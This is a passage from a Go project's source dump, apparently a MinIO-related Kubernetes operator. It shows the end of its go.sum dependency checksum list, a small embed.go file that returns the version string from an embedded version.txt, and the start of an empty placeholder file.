github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= 75 | github.com/klauspost/cpuid/v2 v2.0.1/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= 76 | github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= 77 | github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= 78 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 79 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 80 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 81 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 82 | github.com/lufia/plan9stats v0.0.0-20240513124658-fba389f38bae h1:dIZY4ULFcto4tAFlj1FYZl8ztUZ13bdq+PLY+NOfbyI= 83 | github.com/lufia/plan9stats v0.0.0-20240513124658-fba389f38bae/go.mod h1:ilwx/Dta8jXAgpFYFvSWEMwxmbWXyiUHkd5FwyKhb5k= 84 | github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= 85 | github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= 86 | github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo= 87 | github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4= 88 | github.com/miekg/dns v1.1.61 h1:nLxbwF3XxhwVSm8g9Dghm9MHPaUZuqhPiGL+675ZmEs= 89 | github.com/miekg/dns v1.1.61/go.mod h1:mnAarhS3nWaW+NVP2wTkYVIZyHNJ098SJZUki3eykwQ= 90 | github.com/minio/madmin-go/v3 v3.0.57 h1:fXoOnYP8/k9x0MWWowXkAQWYu59hongieCcT3urUaAQ= 91 | github.com/minio/madmin-go/v3 v3.0.57/go.mod h1:IFAwr0XMrdsLovxAdCcuq/eoL4nRuMVQQv0iubJANQw= 92 | github.com/minio/md5-simd v1.1.2 h1:Gdi1DZK69+ZVMoNHRXJyNcxrMA4dSxoYHZSQbirFg34= 93 | github.com/minio/md5-simd v1.1.2/go.mod h1:MzdKDxYpY2BT9XQFocsiZf/NKVtR7nkE4RoEpN+20RM= 94 | github.com/minio/minio-go/v7 v7.0.72 h1:ZSbxs2BfJensLyHdVOgHv+pfmvxYraaUy07ER04dWnA= 95 | github.com/minio/minio-go/v7 v7.0.72/go.mod h1:4yBA8v80xGA30cfM3fz0DKYMXunWl/AV/6tWEs9ryzo= 96 | github.com/minio/operator v0.0.0-20240826105437-45110b9d7e63 h1:FkzIpz6xMaa6tJ7U7QO+T5qL3UPHUPECChw4uypM4TA= 97 | github.com/minio/operator v0.0.0-20240826105437-45110b9d7e63/go.mod h1:CGFgsoPXIjHIJjqrEw+SxJJMmBLmv5aFaZGJTImalsw= 98 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 99 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 100 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 101 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 102 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 103 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= 104 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= 105 | github.com/neilotoole/slogt v1.1.0 h1:c7qE92sq+V0yvCuaxph+RQ2jOKL61c4hqS1Bv9W7FZE= 106 | github.com/neilotoole/slogt v1.1.0/go.mod h1:RCrGXkPc/hYybNulqQrMHRtvlQ7F6NktNVLuLwk6V+w= 107 | github.com/onsi/ginkgo/v2 v2.20.1 h1:YlVIbqct+ZmnEph770q9Q7NVAz4wwIiVNahee6JyUzo= 108 | github.com/onsi/ginkgo/v2 v2.20.1/go.mod h1:lG9ey2Z29hR41WMVthyJBGUBcBhGOtoPF2VFMvBXFCI= 109 | github.com/onsi/gomega v1.34.2 h1:pNCwDkzrsv7MS9kpaQvVb1aVLahQXyJ/Tv5oAZMI3i8= 110 | github.com/onsi/gomega v1.34.2/go.mod h1:v1xfxRgk0KIsG+QOdm7p8UosrOzPYRo60fd3B/1Dukc= 111 | github.com/philhofer/fwd v1.1.2 h1:bnDivRJ1EWPjUIRXV5KfORO897HTbpFAQddBdE8t7Gw= 112 | github.com/philhofer/fwd v1.1.2/go.mod h1:qkPdfjR2SIEbspLqpe1tO4n5yICnr2DY7mqEx2tUTP0= 113 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 114 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 115 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 116 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= 117 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 118 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU= 119 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= 120 | github.com/prometheus/client_golang v1.19.1 h1:wZWJDwK+NameRJuPGDhlnFgx8e8HN3XHQeLaYJFJBOE= 121 | github.com/prometheus/client_golang v1.19.1/go.mod h1:mP78NwGzrVks5S2H6ab8+ZZGJLZUq1hoULYBAYBw1Ho= 122 | github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E= 123 | github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY= 124 | github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc= 125 | github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8= 126 | github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc= 127 | github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk= 128 | github.com/prometheus/prom2json v1.3.3 h1:IYfSMiZ7sSOfliBoo89PcufjWO4eAR0gznGcETyaUgo= 129 | github.com/prometheus/prom2json v1.3.3/go.mod h1:Pv4yIPktEkK7btWsrUTWDDDrnpUrAELaOCj+oFwlgmc= 130 | github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= 131 | github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= 132 | github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= 133 | github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= 134 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= 135 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 136 | github.com/safchain/ethtool v0.4.1 h1:S6mEleTADqgynileXoiapt/nKnatyR6bmIHoF+h2ADo= 137 | github.com/safchain/ethtool v0.4.1/go.mod h1:XLLnZmy4OCRTkksP/UiMjij96YmIsBfmBQcs7H6tA48= 138 | github.com/secure-io/sio-go v0.3.1 h1:dNvY9awjabXTYGsTF1PiCySl9Ltofk9GA3VdWlo7rRc= 139 | github.com/secure-io/sio-go v0.3.1/go.mod h1:+xbkjDzPjwh4Axd07pRKSNriS9SCiYksWnZqdnfpQxs= 140 | github.com/shirou/gopsutil/v3 v3.24.5 h1:i0t8kL+kQTvpAYToeuiVk3TgDeKOFioZO3Ztz/iZ9pI= 141 | github.com/shirou/gopsutil/v3 v3.24.5/go.mod h1:bsoOS1aStSs9ErQ1WWfxllSeS1K5D+U30r2NfcubMVk= 142 | github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM= 143 | github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= 144 | github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU= 145 | github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= 146 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 147 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 148 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 149 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 150 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 151 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 152 | github.com/tinylib/msgp v1.1.9 h1:SHf3yoO2sGA0veCJeCBYLHuttAVFHGm2RHgNodW7wQU= 153 | github.com/tinylib/msgp v1.1.9/go.mod h1:BCXGB54lDD8qUEPmiG0cQQUANC4IUQyB2ItS2UDlO/k= 154 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= 155 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= 156 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY= 157 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE= 158 | github.com/urfave/cli/v2 v2.27.4 h1:o1owoI+02Eb+K107p27wEX9Bb8eqIoZCfLXloLUSWJ8= 159 | github.com/urfave/cli/v2 v2.27.4/go.mod h1:m4QzxcD2qpra4z7WhzEGn74WZLViBnMpb1ToCAKdGRQ= 160 | github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= 161 | github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= 162 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4= 163 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM= 164 | github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= 165 | github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= 166 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= 167 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 168 | go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= 169 | go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= 170 | go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= 171 | go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= 172 | go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= 173 | go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= 174 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 175 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 176 | golang.org/x/crypto v0.0.0-20200302210943-78000ba7a073/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 177 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 178 | golang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A= 179 | golang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70= 180 | golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 h1:2dVuKD2vS7b0QIHQbpyTISPd0LeHDbnYEryqj5Q1ug8= 181 | golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56/go.mod h1:M4RDyNAINzryxdtnbRXRL/OHtkFuWGRjvuhBJpk2IlY= 182 | golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 183 | golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 184 | golang.org/x/mod v0.20.0 h1:utOm6MM3R3dnawAiJgn0y+xvuYRsm1RKM/4giyfDgV0= 185 | golang.org/x/mod v0.20.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 186 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 187 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 188 | golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 189 | golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 190 | golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo= 191 | golang.org/x/net v0.29.0/go.mod h1:gLkgy8jTGERgjzMic6DS9+SP0ajcu6Xu3Orq/SpETg0= 192 | golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= 193 | golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= 194 | golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 195 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 196 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 197 | golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 198 | golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= 199 | golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 200 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 201 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 202 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 203 | golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 204 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 205 | golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 206 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 207 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 208 | golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 209 | golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= 210 | golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 211 | golang.org/x/term v0.24.0 h1:Mh5cbb+Zk2hqqXNO7S1iTjEphVL+jb8ZWaqh/g+JWkM= 212 | golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8= 213 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 214 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 215 | golang.org/x/text v0.18.0 h1:XvMDiNzPAl0jr17s6W9lcaIhGUfUORdGCNsuLmPG224= 216 | golang.org/x/text v0.18.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= 217 | golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= 218 | golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= 219 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 220 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 221 | golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= 222 | golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 223 | golang.org/x/tools v0.24.0 h1:J1shsA93PJUEVaUSaay7UXAyE8aimq3GW0pjlolpa24= 224 | golang.org/x/tools v0.24.0/go.mod h1:YhNqVBIfWHdzvTLs0d8LCuMhkKUgSUKldakyV7W/WDQ= 225 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 226 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 227 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 228 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 229 | gomodules.xyz/jsonpatch/v2 v2.4.0 h1:Ci3iUJyx9UeRx7CeFN8ARgGbkESwJK+KB9lLcWxY/Zw= 230 | gomodules.xyz/jsonpatch/v2 v2.4.0/go.mod h1:AH3dM2RI6uoBZxn3LVrfvJ3E0/9dG4cSrbuBJT4moAY= 231 | google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= 232 | google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= 233 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 234 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 235 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 236 | gopkg.in/evanphx/json-patch.v4 v4.12.0 h1:n6jtcsulIzXPJaxegRbvFNNrZDjbij7ny3gmSPG+6V4= 237 | gopkg.in/evanphx/json-patch.v4 v4.12.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M= 238 | gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= 239 | gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= 240 | gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= 241 | gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 242 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 243 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 244 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 245 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 246 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 247 | k8s.io/api v0.31.0 h1:b9LiSjR2ym/SzTOlfMHm1tr7/21aD7fSkqgD/CVJBCo= 248 | k8s.io/api v0.31.0/go.mod h1:0YiFF+JfFxMM6+1hQei8FY8M7s1Mth+z/q7eF1aJkTE= 249 | k8s.io/apiextensions-apiserver v0.31.0 h1:fZgCVhGwsclj3qCw1buVXCV6khjRzKC5eCFt24kyLSk= 250 | k8s.io/apiextensions-apiserver v0.31.0/go.mod h1:b9aMDEYaEe5sdK+1T0KU78ApR/5ZVp4i56VacZYEHxk= 251 | k8s.io/apimachinery v0.31.1 h1:mhcUBbj7KUjaVhyXILglcVjuS4nYXiwC+KKFBgIVy7U= 252 | k8s.io/apimachinery v0.31.1/go.mod h1:rsPdaZJfTfLsNJSQzNHQvYoTmxhoOEofxtOsF3rtsMo= 253 | k8s.io/client-go v0.31.0 h1:QqEJzNjbN2Yv1H79SsS+SWnXkBgVu4Pj3CJQgbx0gI8= 254 | k8s.io/client-go v0.31.0/go.mod h1:Y9wvC76g4fLjmU0BA+rV+h2cncoadjvjjkkIGoTLcGU= 255 | k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk= 256 | k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE= 257 | k8s.io/kube-openapi v0.0.0-20240620174524-b456828f718b h1:Q9xmGWBvOGd8UJyccgpYlLosk/JlfP3xQLNkQlHJeXw= 258 | k8s.io/kube-openapi v0.0.0-20240620174524-b456828f718b/go.mod h1:UxDHUPsUwTOOxSU+oXURfFBcAS6JwiRXTYqYwfuGowc= 259 | k8s.io/utils v0.0.0-20240711033017-18e509b52bc8 h1:pUdcCO1Lk/tbT5ztQWOBi5HBgbBP1J8+AsQnQCKsi8A= 260 | k8s.io/utils v0.0.0-20240711033017-18e509b52bc8/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= 261 | sigs.k8s.io/controller-runtime v0.19.0 h1:nWVM7aq+Il2ABxwiCizrVDSlmDcshi9llbaFbC0ji/Q= 262 | sigs.k8s.io/controller-runtime v0.19.0/go.mod h1:iRmWllt8IlaLjvTTDLhRBXIEtkCK6hwVBJJsYS9Ajf4= 263 | sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo= 264 | sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0= 265 | sigs.k8s.io/structured-merge-diff/v4 v4.4.1 h1:150L+0vs/8DA78h1u02ooW1/fFq/Lwr+sGiqlzvrtq4= 266 | sigs.k8s.io/structured-merge-diff/v4 v4.4.1/go.mod h1:N8hJocpFajUSSeSJ9bOZ77VzejKZaXsTtZo4/u7Io08= 267 | sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E= 268 | sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY= 269 | -------------------------------------------------------------------------------- /internal/embed.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package internal 18 | 19 | import ( 20 | "embed" 21 | "strings" 22 | ) 23 | 24 | //go:embed embed 25 | var embedFs embed.FS 26 | 27 | // Gets the operator version by reading the embedded version.txt file 28 | func GetOperatorVersion() string { 29 | vb, err := embedFs.ReadFile("embed/version.txt") 30 | if err != nil { 31 | return "0.0.0+undefined" 32 | } 33 | return strings.TrimSpace(string(vb)) 34 | } 35 | -------------------------------------------------------------------------------- /internal/embed/empty.txt: -------------------------------------------------------------------------------- 1 | # this file is 